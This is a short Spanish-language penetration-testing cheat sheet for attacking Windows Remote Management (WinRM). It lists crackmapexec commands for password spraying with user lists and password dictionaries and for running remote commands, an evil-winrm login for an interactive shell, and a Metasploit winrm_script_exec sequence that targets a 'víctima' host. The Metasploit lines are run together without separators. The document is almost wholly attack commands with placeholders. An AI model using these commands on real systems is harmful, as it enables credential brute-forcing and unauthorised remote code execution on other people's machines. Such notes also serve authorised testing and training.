WinRM

$ crackmapexec winrm <IP> -u <user(administrator)/lista_usuarios.txt> -p <diccionario de contraseñas>

$ crackmapexec winrm <IP> -u <usuario> -p <contraseña> -x <command> (whoami)

$ evil-winrm -u <user> -p ‘<contraseña>’ -i <IP>

$ use exploit/windows/winrm/winrm_script_exec​$ set RHOSTS <IP víctma>$ set RPORT <Puerto de winrm vícitma>$ set LPORT <Local Port>$ set FORCE_VBS true$ set USERNAME <user>$ set PASSWORD <password>$ exploit